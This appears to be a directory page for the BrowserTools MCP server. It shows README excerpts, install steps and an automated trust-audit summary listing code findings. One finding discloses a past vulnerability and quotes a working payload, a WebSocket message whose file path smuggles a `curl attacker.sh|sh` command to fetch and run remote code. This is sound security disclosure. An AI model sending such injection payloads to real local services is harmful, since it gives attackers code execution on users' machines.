BrowserTools

Overview

From the repository's own README, as read at the audited commit.

# BrowserTools MCPGive your AI coding agent eyes on the browser. BrowserTools MCP streams consoleoutput, network activity, screenshots and Lighthouse audits from **your realChrome session** — the one already logged into your app — to any MCP-compatibleclient: Cursor, Claude Code, Windsurf, Cline, Zed, Gemini CLI, and others.> **Version 2.0 is a rewrite.** One process instead of three, no unauthenticated> local server, credentials scrubbed before they leave the browser, and a real> test suite. If you are coming from 1.x, read [MIGRATION.md](MIGRATION.md) —> **and upgrade, because 1.2.x has a critical vulnerability.** See> [SECURITY.md](SECURITY.md).---## Why this instead of a CDP-based serverTools like Chrome DevTools MCP and Playwright MCP drive a *fresh, automated*browser. That is the right choice for writing tests. It is the wrong choice fordebugging the app you are actually looking at, because since Chrome 136 thebrowser refuses remote debugging on your default profile — the one holding yourlogins. So you end up recreating your auth state in a throwaway profile beforeyou can debug anything.BrowserTools attaches to the session you are already in, through a DevToolsextension. You stay logged in, on the page you were already on, and your agentreads what you see. It also reports Lighthouse-grade performance, accessibilityand SEO data, which the automation-first servers do not.## InstallTwo pieces: an MCP server (one command) and a Chrome extension.### 1. Point your MCP client at the server```json{  "mcpServers": {    "browser-tools": {      "command": "npx",      "args": ["-y", "@agentdeskai/browser-tools-mcp@latest"]    }  }}```On Windows, if your client cannot find `npx`, use `"command": "cmd"` with`"args": ["/c", "npx", "-y", "@agentdeskai/browser-tools-mcp@latest"]`.Requires **Node 22.19 or newer**. Check with `node --version`; if you use nvm orasdf, make sure your editor inherits the same version.### 2. Load the Chrome extension1. Download or clone this reposito

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude mcp add browser-tools-mcp -- npx -y @agentdeskai/[email protected]

Exposed tools (15) 15 read · 0 write · 0 destructive

Details

Source

agentdeskai/browser-tools-mcp

npm

browser-tools-mcp-workspace@2.0.2

Transports

stdio

License

MIT

Stars

7,319 · pushed 31d ago

Trust audit

Install with care. The audit found things worth knowing before you trust its output.

What the source does

Filesystem

declared (2 observation(s))

Network

declared (8 observation(s))

Shell

none-observed

Dependencies

not all pinned

Secrets in source

found

Findings (19)

`BrowserTools connector listening on http://127.0.0.1:${connector.port}\n` +

if (existing && (await probe(`http://127.0.0.1:${existing.port}`))) {

baseUrl: `http://127.0.0.1:${existing.port}`,

"-----BEGIN RSA PRIVATE KEY-----\nMIIEow==\n-----END RSA PRIVATE KEY-----"

const extract = new Function(

const extract = new Function(

import { runLighthouseAudit, AuditError, assertAuditableUrl } from "../../src/lighthouse/runner";

import { createConnector, type Connector } from "../../src/connector/connector";

import { InProcessConnectorClient } from "../../src/mcp/client";

import { createMcpServer } from "../../src/mcp/server";

fileURLToPath(new URL("../../../chrome-extension", import.meta.url))

url: `http://127.0.0.1:${port}/`,

baseUrl: `http://127.0.0.1:${connector.port}`,

"/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAABAAEBAREA/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQQAQAAAAAAAAAAAAAAAAAAAAD/2gA

return atob(aligned.replace(/-/g, "+").replace(/_/g, "/"));

@modelcontextprotocol/sdk, chrome-launcher, express, lighthouse, ws, zod, @types/express, @types/node

@agentdeskai/browser-tools-mcp

@types/node, @types/supertest, @types/ws, playwright, supertest, vitest

Any web page the user visits, or anyone on the same Wi-Fi, can open `ws://127.0.0.1:3025/extension-ws`, send `{type:"screenshot-data", path:"/tmp/x'$(curl attacker.sh|sh)'", autoPaste:true}` and get s

Gates applied: no_behavioural_pass.

Audited 2026-09-13 · audit v0.4.0 · source sha 93af3c56207b · full audit: observations/trust-audit/mcp-server/agentdeskai__browsertools.json · Report an issue or request a re-scan

Audit history

Alternatives

Other servers in the same categories, safer ones first.

Questions